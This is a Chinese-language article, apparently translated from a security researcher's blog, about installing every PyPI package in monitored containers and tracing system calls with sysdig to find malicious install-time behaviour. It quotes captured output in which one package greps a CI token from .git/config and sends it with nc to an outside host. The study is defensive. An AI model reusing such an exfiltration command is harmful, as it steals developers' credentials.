当前位置: 首页 > 科技观察

在PyPI上查找恶意包

时间:2023-03-23 10:22:32 科技观察

大约一年前,Python软件基金会发起了一项信息请求(RFI)活动,讨论如何检测上传到PyPI的恶意包。无论是接管过时的包、对流行的库进行错误抢注,还是使用凭据填充来劫持包,很明显,这是一个影响几乎每个包管理器的真正问题。Typosquatting也称为URL劫持、虚假URL等,是域名抢注的一种形式,通常会导致品牌劫持。这种类型的劫持通常依赖于用户在浏览器中输入URL时犯下拼写错误等错误。一旦用户不小心输入了错误的URL,他们可能会被定向到任何其他URL(例如由域名抢注者运营的网站)。事实上,像PyPI这样的包管理器是几乎每家公司都依赖的关键基础设施。我可以就这个主题写几天,但现在这个xkcd对我来说已经足够了。这是我感兴趣的领域,所以我就如何处理这个问题提出我的想法。但是还有一件事困扰着我:考虑安装包后会发生什么。虽然对于某些设置活动可能有必要,但应始终使用相关的查看工具来查看正在建立的网络连接或在pip安装期间正在执行的命令,因为它不会给开发人员太多机会来赶上不好的事情在它发生之前检查代码。我想对此进行进一步调查,因此在本文中,我将介绍如何安装和分析PyPI中的每个包以进行恶意活动。如何发现恶意库为了在安装过程中运行任意命令,开发人员经常将代码添加到包中的setup.py文件中,您可以在此存储库中查看一些示例。在高层次上,您可以做两件事来找到潜在的恶意依赖项:您可以查看代码中是否存在不良内容(静态分析),或者危险地安装它们并查看会发生什么(动态分析)。虽然静态分析非常有趣(我使用手动grep在npm上发现了恶意包),但在本文中我将重点关注动态分析。毕竟,动态分析要强大得多,因为您正在查看实际发生的情况,而不仅仅是寻找可能的恶意行为。那么我们到底在寻找什么?重要的事情是如何完成的通常,任何重要的事情都是在发生时由内核完成的。希望通过内核执行重要操作的普通程序(例如pip)通过使用系统调用来实现。打开文件、建立网络连接、执行命令都可以使用系统调用来完成!您可以在此处了解更多信息。这意味着如果我们可以在Python包的安装过程中进行系统调用,我们就可以看到是否有任何可疑的事情发生。好消息是,无论代码有多混乱,我们都会看到实际发生的情况。需要说明的是,系统调用的思路不是我想出来的。AdamBaldwin和其他人自2017年以来一直在讨论这个问题。佐治亚理工学院的研究人员发表的一篇不错的论文采用了相同的方法。老实说,本文的大部分内容只是试图复制他们的想法。因此,我们想知道系统调用是如何做到这一点的?使用Sysdig查看系统调用Sysdig是一个超级系统工具,比strace、tcpdump、lsof加起来还要强大。可用于捕获系统状态信息、保存数据以及执行过滤和分析。使用Lua开发,提供命令行界面和强大的交互界面。有许多工具旨在允许您查看系统调用,本文中使用的工具是sysdig,因为它提供结构化输出和一些非常好的过滤功能。为此,在启动安装包的Docker容器时,我还启动了一个仅监视该容器中事件的sysdig进程。我还过滤掉要从pypi.org或files.pythonhosted.com完成的网络读/写,因为我不想用与包下载相关的流量填充日志。通过捕获系统调用,我不得不解决另一个问题:如何获取所有PyPI包的列表。获得Python包幸运的是,PyPI有一个称为“简单API”的API,它也可以被认为是“一个非常大的HTML页面,带有指向每个包的链接”,它简单、干净并且比我可能编写的任何HTML都容易得多美好的。我们可以抓取这个页面并使用pup来解析所有链接,给我们大约268,000个包:在这个测试中,我只关心每个包的最新版本。恶意版本的软件包可能隐藏在旧版本中,但AWS账单不会收回成本。我最终得到了一个看起来像这样的管道:简而言之,我们将每个包名称发送到一组EC2实例(我希望将来使用Fargate或其他东西,但我也不知道Fargate),从PyPI获取一些关于包的元数据,然后启动sysdig和一系列容器pip安装包,系统调用和网络流量被收集。然后,将所有数据发送到S3以供future-Jordan处理。过程如下:查看结果完成上述步骤后,我将在一个S3存储桶中存储大约1TB的数据,涵盖大约245,000个数据包。有些包没有发布版本,有些有各种处理错误,但这似乎是一个很好的例子。以下是我如何合并元数据和输出,从而生成如下所示的一系列JSON文件:然后我编写了一系列脚本来开始聚合数据,试图了解什么是良性的,什么是坏的。让我们更深入地了解这些输出结果。网络请求软件包在安装过程中需要建立网络连接的原因有很多,它们可能需要下载合法的二进制组件或其他资源,可能是一种分析形式,或者它们可能试图从系统中窃取数据或凭据.发现有460个数据包连接到109个独立的主机,并且像上面提到的文章一样,其中许多数据包是由于共享网络连接的数据包的依赖关系。可以通过映射依赖关系过滤掉它们,但我在本文的演示中没有这样做,这里是安装过程中看到的DNS请求分解。命令执行与网络连接一样,包有正当理由在安装期间运行系统命令。这可能是编译本机二进制文件、设置正确的环境等。查看我们的样本集,发现有60,725个包在安装期间执行命令。就像网络连接一样,我们必须记住,其中许多是下游依赖项(运行命令的包)的结果。有趣的包正如预期的那样,在深入研究结果后,大多数网络连接和命令似乎都是合法的。但也有一些奇怪行为的例子,我想将其列为案例研究,以说明此类分析的用处。(1)i-am-malicious一个名为i-am-malicious的包似乎是恶意包的概念验证,这里有一些有趣的细节让我们认为这个包值得研究:{"dns":[{"name":"gist.githubusercontent.com","addresses":["199.232.64.133"]}]],"files":[...{"filename":"/tmp/malicious.py""flag":"O_RDONLY|O_CLOEXEC"},...{"filename":"/tmp/malicious-was-here","flag":"O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"},...]"commands":["python/tmp/malicious.py"]}我们已经知道这里发生了什么,我们可以看到连接到gist.github.com,正在执行一个Python文件,还有一个名为/的文件位于tmp/malicious-was-here的文件。当然,这正是setup.py中发生的事情:所讨论的malicious.py只是向/tmp/malicious-was-here添加了一条“我在这里”类型的消息,表明这确实是一个概念验证。(2)maliciouspackage另一种自称是恶意程序的包创造性地命名为maliciouspackage,其攻击能力略高。这是相关的输出:{"dns":[{"name":"laforge.xyz","addresses":["34.82.112.63"]}],"files":[{"filename":"/app/.git/config","flag":"O_RDONLY"},],"commands":["sh-captinstall-ysocat","sh-cgrepci-token/app/.git/config|nclaforge.xyz5566","grepci-token/app/.git/config","nclaforge.xyz5566"]}和以前一样,根据输出我们可以很好地了解发生了什么。在这种情况下,该包似乎从.git/config文件中提取了一个令牌并将其上传到laforge.xyz,我们发现情况确实如此:(3)easyIoCtleasyIoCtl包确实是一个有趣的包。它声称提供“远离无聊的IO操作的抽象”,但我们看到以下命令在运行:结果是可疑的,但不是非常激进。然而,这是一个完美的例子来展示跟踪系统调用攻击的能力。这是项目的setup.py中的相关代码:有太多的混乱,很难知道发生了什么。传统的静态分析可能会捕获对exec的调用,但仅此而已。要查看它在做什么,我们可以用print替换exec,结果如下:这正是我们记录的命令,表明即使代码混淆也不会影响我们的结果,因为我们在系统调用级别进行监控。当我们发现恶意包时会发生什么?这个问题值得简要讨论一下当我们发现恶意包时我们可以做什么。首先要做的是通知PyPI开发人员他们可以获取包。这可以通过联系security@python.org.1来完成。之后,我们可以使用BigQuery上的PyPI公共数据集来查看包被下载了多少次。这是一个示例查询,用于查找过去30天内安装恶意软件包的次数:运行此查询显示它已下载超过400次:maliciouspackagedownloadsummary,我没有看到任何软件包进行明显有害的活动,并且没有恶意的名字,虽然情况乐观,但总有可能我错过了什么,或者它会在未来发生。如果您有兴趣深入研究数据,可以在此处找到。接下来,我将设置一个Lambda函数以使用PyPI的RSS源获取最新的包更改,每个更新的包都将经过相同的过程并在检测到可疑活动时发送警报。我仍然不喜欢仅仅通过执行用户pip安装就能够在用户系统上运行任意命令,我知道的大多数用例都是良性的,但也必须考虑所涉及的风险。希望通过越来越多地监控各种包管理器,我们可以在恶意活动产生重大影响之前识别出恶意活动的迹象。